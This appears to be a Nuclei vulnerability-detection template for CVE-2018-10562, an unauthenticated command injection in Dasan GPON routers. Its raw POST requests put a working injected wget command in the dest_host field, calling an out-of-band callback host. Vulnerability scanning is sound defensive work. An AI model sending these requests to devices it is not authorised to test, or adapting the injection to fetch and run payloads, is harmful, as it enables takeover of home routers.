id: CVE-2018-10562

info:
  name: Dasan GPON Devices - Remote Code Execution (Unauthenticated)
  author: gy741
  severity: critical
  description: An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
  reference:
    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
    - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10562
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 9.80
    cve-id: CVE-2018-10562
    cwe-id: CWE-78
  tags: cve,cve2018,dasan,gpon,rce,oast

requests:
  - raw:
      - |
        POST /GponForm/diag_Form?images/ HTTP/1.1
        Host: {{Hostname}}

        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox wget http://{{interactsh-url}}`;busybox wget http://{{interactsh-url}}&ipv=0

      - |
        POST /GponForm/diag_Form?images/ HTTP/1.1
        Host: {{Hostname}}

        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://{{interactsh-url}}`;wget http://{{interactsh-url}}&ipv=0

    stop-at-first-match: true
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"